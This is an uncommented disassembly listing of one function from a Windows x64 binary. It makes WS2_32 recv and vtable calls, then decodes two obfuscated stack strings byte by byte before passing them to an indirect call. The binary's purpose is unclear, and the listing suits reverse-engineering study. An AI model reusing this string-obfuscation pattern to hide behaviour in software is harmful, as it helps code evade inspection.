movzx edx, byte [rsp + 0x6e]
movzx ecx, dl
and cl, 0x54
add cl, cl
mov eax, 0xda
sub al, cl
add dl, al
mov byte [rsp + 0x6e], dl
lea r8, [rsp + 0x50]
xor edx, edx
xor ecx, ecx
call r13
mov ebx, 4
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x1401d0f58], eax
jle 0x1400127de
lea rcx, [0x1401d0f58]
call fcn.1400cae40
cmp dword [0x1401d0f58], 0xffffffff
jne 0x1400127de
lea rcx, [0x1400f6d60]
call fcn.1400cb3fc
lea rcx, [0x1401d0f58]
call fcn.1400cadd4
lea rcx, [0x1401c24c0]
mov rax, qword [0x1401c24c0]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [rbx]
cmp dword [0x1401d0f58], eax
jle 0x140012826
lea rcx, [0x1401d0f58]
call fcn.1400cae40
cmp dword [0x1401d0f58], 0xffffffff
jne 0x140012826
lea rcx, [0x1400f6d60]
call fcn.1400cb3fc
lea rcx, [0x1401d0f58]
call fcn.1400cadd4
lea rcx, [0x1401c24c0]
mov rax, qword [0x1401c24c0]
call qword [rax + 0x18]
mov eax, dword [rbx]
cmp dword [0x1401d0f58], eax
jle 0x14001286e
lea rcx, [0x1401d0f58]
call fcn.1400cae40
cmp dword [0x1401d0f58], 0xffffffff
jne 0x14001286e
lea rcx, [0x1400f6d60]
call fcn.1400cb3fc
lea rcx, [0x1401d0f58]
call fcn.1400cadd4
lea rcx, [0x1401c24c0]
mov rax, qword [0x1401c24c0]
call qword [rax + 0x20]
jmp 0x1400132da
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, 0x38
mov dl, 0x22
mov r8b, 0xcc
mov r9b, 0x20
mov r10b, 0x36
mov r11b, 0x7d
mov bl, 0x23
mov dil, 0x2d
mov sil, 0x2c
mov r14b, 0x28
mov r15b, 0x2a
mov r12b, 0x5b
xor r13d, r13d
mov qword [rsp + 0x5c], r13
mov dword [rsp + 0x64], r13d
mov word [rsp + 0x68], r13w
movzx eax, cl
and al, 0x4b
mov dword [rbp - 0x48], 0x1f
sub byte [rbp - 0x48], al
mov eax, dword [rbp - 0x48]
add al, al
add cl, al
mov byte [rsp + 0x50], cl
movzx eax, dl
and al, 0x4c
add al, al
mov ecx, 0x3f
sub cl, al
add dl, cl
mov byte [rsp + 0x51], dl
movzx eax, r8b
and al, 0x4d
mov edx, 0x20
sub dl, al
add dl, dl
add r8b, dl
mov byte [rsp + 0x52], r8b
movzx eax, r9b
and al, 0x4e
add al, al
mov edx, 0x41
sub dl, al
add r9b, dl
mov byte [rsp + 0x53], r9b
movzx eax, r10b
and al, 0x4f
mov edx, 0x21
sub dl, al
add dl, dl
add r10b, dl
mov byte [rsp + 0x54], r10b
movzx eax, r11b
and al, 0x50
add al, al
mov edx, 0x43
sub dl, al
add r11b, dl
mov byte [rsp + 0x55], r11b
movzx eax, bl
and al, 0x51
mov edx, 0x22
sub dl, al
add dl, dl
add bl, dl
mov byte [rsp + 0x56], bl
movzx eax, dil
and al, 0x52
add al, al
mov edx, 0x45
sub dl, al
add dil, dl
mov byte [rsp + 0x57], dil
movzx eax, sil
and al, 0x53
mov ecx, 0x23
sub cl, al
add cl, cl
add sil, cl
mov byte [rsp + 0x58], sil
movzx eax, r14b
and al, 0x54
add al, al
mov edx, 0x47
sub dl, al
add r14b, dl
mov byte [rsp + 0x59], r14b
movzx eax, r15b
and al, 0x55
mov ecx, 0x24
sub cl, al
add cl, cl
add r15b, cl
mov byte [rsp + 0x5a], r15b
movzx eax, r12b
and al, 0x56
add al, al
mov ecx, 0x49
sub cl, al
add r12b, cl
mov byte [rsp + 0x5b], r12b
movzx eax, r13b
and al, 0x57
mov edx, 0x25
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rsp + 0x5c], cl
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 0x58
add al, al
mov edx, 0x4b
sub dl, al
add cl, dl
mov byte [rsp + 0x5d], cl
movzx ecx, byte [rsp + 0x5e]
movzx eax, cl
and al, 0x59
mov edx, 0x26
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 0x5a
add al, al
mov edx, 0x4d
sub dl, al
add cl, dl
mov byte [rsp + 0x5f], cl
movzx ecx, byte [rsp + 0x60]
movzx eax, cl
and al, 0x5b
mov edx, 0x27
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x60], cl
movzx ecx, byte [rsp + 0x61]
movzx eax, cl
and al, 0x5c
add al, al
mov edx, 0x4f
sub dl, al
add cl, dl
mov byte [rsp + 0x61], cl
movzx ecx, byte [rsp + 0x62]
movzx eax, cl
and al, 0x5d
mov edx, 0x28
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x62], cl
movzx ecx, byte [rsp + 0x63]
movzx eax, cl
and al, 0x5e
add al, al
mov edx, 0x51
sub dl, al
add cl, dl
mov byte [rsp + 0x63], cl
movzx eax, r13b
and al, 0x5f
mov edx, 0x29
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rsp + 0x64], cl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 0x60
add al, al
mov edx, 0x53
sub dl, al
add cl, dl
mov byte [rsp + 0x65], cl
movzx edx, byte [rsp + 0x66]
movzx eax, dl
and al, 0x61
mov ecx, 0x2a
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x66], dl
movzx ecx, byte [rsp + 0x67]
movzx eax, cl
and al, 0x62
add al, al
mov edx, 0x55
sub dl, al
add cl, dl
mov byte [rsp + 0x67], cl
movzx eax, r13b
and al, 0x63
mov edx, 0x2b
sub dl, al
add dl, dl
lea ecx, [rdx + r13]
mov byte [rsp + 0x68], cl
movzx ecx, byte [rsp + 0x69]
movzx eax, cl
and al, 0x64
add al, al
mov edx, 0x57
sub dl, al
add cl, dl
mov byte [rsp + 0x69], cl
movzx eax, r13b
and al, 0x65
mov ecx, 0x2c
sub cl, al
add cl, cl
add r13b, cl
mov byte [rsp + 0x6a], r13b
mov dword [rsp + 0x70], 0x1f1bec16
mov dword [rsp + 0x74], 0x13a6e5e5
mov dword [rsp + 0x78], 0x2d21a517
mov dword [rsp + 0x7c], 0x9f2a2bd9
mov dword [rbp - 0x80], 0x392b2b2c
mov dword [rbp - 0x7c], 0x2cd32d29
mov dword [rbp - 0x78], 0xab8b22d1
xor eax, eax
mov qword [rbp - 0x74], rax
mov word [rbp - 0x6c], ax
mov byte [rbp - 0x6a], al
xor r8d, r8d
nop word [rax + rax]
movzx edx, byte [rsp + r8 + 0x70]
lea ecx, [r8 - 0x6a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x70], dl
movzx edx, byte [rsp + r8 + 0x71]
lea ecx, [r8 - 0x69]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x71], dl
movzx edx, byte [rsp + r8 + 0x72]
lea ecx, [r8 - 0x68]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x72], dl
movzx edx, byte [rsp + r8 + 0x73]
lea ecx, [r8 - 0x67]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x73], dl
movzx edx, byte [rsp + r8 + 0x74]
lea ecx, [r8 - 0x66]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x74], dl
movzx edx, byte [rsp + r8 + 0x75]
lea ecx, [r8 - 0x65]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x75], dl
movzx edx, byte [rsp + r8 + 0x76]
lea ecx, [r8 - 0x64]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x76], dl
movzx edx, byte [rsp + r8 + 0x77]
lea ecx, [r8 - 0x63]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x77], dl
movzx edx, byte [rsp + r8 + 0x78]
lea ecx, [r8 - 0x62]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x78], dl
movzx ecx, byte [rsp + r8 + 0x79]
lea edx, [r8 - 0x61]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x79], dl
movzx ecx, byte [rsp + r8 + 0x7a]
lea edx, [r8 - 0x60]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x7a], dl
movzx ecx, byte [rsp + r8 + 0x7b]
lea edx, [r8 - 0x5f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x7b], dl
movzx ecx, byte [rsp + r8 + 0x7c]
lea edx, [r8 - 0x5e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x1a
add dl, cl
mov byte [rsp + r8 + 0x7c], dl
add r8, 0xd
cmp r8, 0x27
jb 0x140012b90
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
jmp 0x1400132cf
mov cl, 0xd6
mov dl, 0xec
movzx r8d, cl
mov r9b, 0xe2
mov r10b, 0xdc
mov r11b, 0xa1
mov bl, 0xe3
mov dil, 0xd1
mov sil, 0xd2
movzx r14d, cl
mov r15b, 0xac
mov r12b, 0x3b
xorps xmm0, xmm0
xor r13d, r13d
movups xmmword [rsp + 0x5c], xmm0
mov word [rsp + 0x6c], r13w
movzx eax, cl
and al, 0x36
add al, al
mov dword [rbp - 0x48], 0xbc
sub byte [rbp - 0x48], al
add cl, byte [rbp - 0x48]
mov byte [rsp + 0x50], cl
movzx eax, dl
and al, 0x37
add al, al
mov ecx, 0xbd
sub cl, al
add dl, cl
mov byte [rsp + 0x51], dl
movzx eax, r14b
and al, 0x38
add al, al
mov ecx, 0xbe
sub cl, al
add r8b, cl
mov byte [rsp + 0x52], r8b
movzx eax, r9b
and al, 0x39
add al, al
mov ecx, 0xbf
sub cl, al
add r9b, cl
mov byte [rsp + 0x53], r9b
movzx eax, r10b
and al, 0x3a
add al, al
mov ecx, 0xc0
sub cl, al
add r10b, cl
mov byte [rsp + 0x54], r10b
movzx eax, r11b
and al, r12b
add al, al
mov ecx, 0xc1
sub cl, al
add r11b, cl
mov byte [rsp + 0x55], r11b
movzx eax, bl
and al, 0x3c
add al, al
mov ecx, 0xc2
sub cl, al
add bl, cl
mov byte [rsp + 0x56], bl
movzx eax, dil
and al, 0x3d
add al, al
mov ecx, 0xc3
sub cl, al
add dil, cl
mov byte [rsp + 0x57], dil
movzx eax, sil
and al, 0x3e
add al, al
mov ecx, 0xc4
sub cl, al
add sil, cl
mov byte [rsp + 0x58], sil
movzx eax, r14b
and al, 0x3f
add al, al
mov ecx, 0xc5
sub cl, al
add r14b, cl
mov byte [rsp + 0x59], r14b
movzx eax, r15b
and al, 0x40
add al, al
mov ecx, 0xc6
sub cl, al
add r15b, cl
mov byte [rsp + 0x5a], r15b
movzx eax, r12b
and al, 0x41
add al, al
mov edx, 0xc7
sub dl, al
add r12b, dl
mov byte [rsp + 0x5b], r12b
movd ecx, xmm0
movzx eax, cl
and al, 0x42
add al, al
mov edx, 0xc8
sub dl, al
add cl, dl
mov byte [rsp + 0x5c], cl
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 0x43
add al, al
mov edx, 0xc9
sub dl, al
add cl, dl
mov byte [rsp + 0x5d], cl
movzx ecx, byte [rsp + 0x5e]
movzx eax, cl
and al, 0x44
add al, al
mov edx, 0xca
sub dl, al
add cl, dl
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 0x45
add al, al
mov edx, 0xcb
sub dl, al
add cl, dl
mov byte [rsp + 0x5f], cl
movzx ecx, byte [rsp + 0x60]
movzx eax, cl
and al, 0x46
add al, al
mov edx, 0xcc
sub dl, al
add cl, dl
mov byte [rsp + 0x60], cl
movzx ecx, byte [rsp + 0x61]
movzx eax, cl
and al, 0x47
add al, al
mov edx, 0xcd
sub dl, al
add cl, dl
mov byte [rsp + 0x61], cl
movzx ecx, byte [rsp + 0x62]
movzx eax, cl
and al, 0x48
add al, al
mov edx, 0xce
sub dl, al
add cl, dl
mov byte [rsp + 0x62], cl
movzx ecx, byte [rsp + 0x63]
movzx eax, cl
and al, 0x49
add al, al
mov edx, 0xcf
sub dl, al
add cl, dl
mov byte [rsp + 0x63], cl
movzx ecx, byte [rsp + 0x64]
movzx eax, cl
and al, 0x4a
add al, al
mov edx, 0xd0
sub dl, al
add cl, dl
mov byte [rsp + 0x64], cl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 0x4b
add al, al
mov edx, 0xd1
sub dl, al
add cl, dl
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
movzx eax, cl
and al, 0x4c
add al, al
mov edx, 0xd2
sub dl, al
add cl, dl
mov byte [rsp + 0x66], cl
movzx ecx, byte [rsp + 0x67]
movzx eax, cl
and al, 0x4d
add al, al
mov edx, 0xd3
sub dl, al
add cl, dl
mov byte [rsp + 0x67], cl
movzx ecx, byte [rsp + 0x68]
movzx eax, cl
and al, 0x4e
add al, al
mov edx, 0xd4
sub dl, al
add cl, dl
mov byte [rsp + 0x68], cl
movzx ecx, byte [rsp + 0x69]
movzx eax, cl
and al, 0x4f
add al, al
mov edx, 0xd5
sub dl, al
add cl, dl
mov byte [rsp + 0x69], cl
movzx ecx, byte [rsp + 0x6a]
movzx eax, cl
and al, 0x50
add al, al
mov edx, 0xd6
sub dl, al
add cl, dl
mov byte [rsp + 0x6a], cl
movzx ecx, byte [rsp + 0x6b]
movzx eax, cl
and al, 0x51
add al, al
mov edx, 0xd7
sub dl, al
add cl, dl
mov byte [rsp + 0x6b], cl
movzx eax, r13b
and al, 0x52
add al, al
mov edx, 0xd8
sub dl, al
add r13b, dl
mov byte [rsp + 0x6c], r13b
movzx ecx, byte [rsp + 0x6d]
movzx eax, cl
and al, 0x53
add al, al
mov edx, 0xd9
sub dl, al
add cl, dl
mov byte [rsp + 0x6d], cl
mov dword [rsp + 0x70], 0xe7ebe2ec
mov dword [rsp + 0x74], 0xdb28ede1
mov dword [rsp + 0x78], 0x25e52ddf
mov dword [rsp + 0x7c], 0xd7242315
mov dword [rbp - 0x80], 0x211b2326
mov dword [rbp - 0x7c], 0x16131515
mov dword [rbp - 0x78], 0xa3db2815
xor eax, eax
mov qword [rbp - 0x74], rax
mov dword [rbp - 0x6c], eax
xor r8d, r8d
nop word [rax + rax]
movzx ecx, byte [rsp + r8 + 0x70]
lea edx, [r8 + 0x75]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x70], dl
movzx ecx, byte [rsp + r8 + 0x71]
lea edx, [r8 + 0x76]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x71], dl
movzx ecx, byte [rsp + r8 + 0x72]
lea edx, [r8 + 0x77]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x72], dl
movzx ecx, byte [rsp + r8 + 0x73]
lea edx, [r8 + 0x78]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x73], dl
movzx ecx, byte [rsp + r8 + 0x74]
lea edx, [r8 + 0x79]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x74], dl
movzx ecx, byte [rsp + r8 + 0x75]
lea edx, [r8 + 0x7a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x75], dl
movzx ecx, byte [rsp + r8 + 0x76]
lea edx, [r8 + 0x7b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x76], dl
movzx ecx, byte [rsp + r8 + 0x77]
lea edx, [r8 + 0x7c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x77], dl
movzx ecx, byte [rsp + r8 + 0x78]
lea edx, [r8 + 0x7d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x78], dl
movzx ecx, byte [rsp + r8 + 0x79]
lea edx, [r8 + 0x7e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x79], dl
movzx ecx, byte [rsp + r8 + 0x7a]
lea edx, [r8 + 0x7f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x7a], dl
movzx ecx, byte [rsp + r8 + 0x7b]
lea edx, [r8 + 0x80]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x7b], dl
movzx ecx, byte [rsp + r8 + 0x7c]
lea edx, [r8 - 0x7f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x7c], dl
movzx ecx, byte [rsp + r8 + 0x7d]
lea edx, [r8 - 0x7e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x7d], dl
movzx ecx, byte [rsp + r8 + 0x7e]
lea edx, [r8 - 0x7d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x7e], dl
movzx ecx, byte [rsp + r8 + 0x7f]
lea edx, [r8 - 0x7c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rsp + r8 + 0x7f], dl
movzx ecx, byte [rbp + r8 - 0x80]
lea edx, [r8 - 0x7b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rbp + r8 - 0x80], dl
movzx edx, byte [rbp + r8 - 0x7f]
lea ecx, [r8 - 0x7a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rbp + r8 - 0x7f], dl
movzx edx, byte [rbp + r8 - 0x7e]
lea ecx, [r8 - 0x79]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x33
add dl, cl
mov byte [rbp + r8 - 0x7e], dl
movzx edx, byte [rbp + r8 - 0x7d]
lea ecx, [r8 - 0x78]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x33
add dl, cl
mov byte [rbp + r8 - 0x7d], dl
add r8, 0x14
cmp r8, 0x28
jb 0x140013070
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [rbp - 0x50]
xor eax, eax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400cad70
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret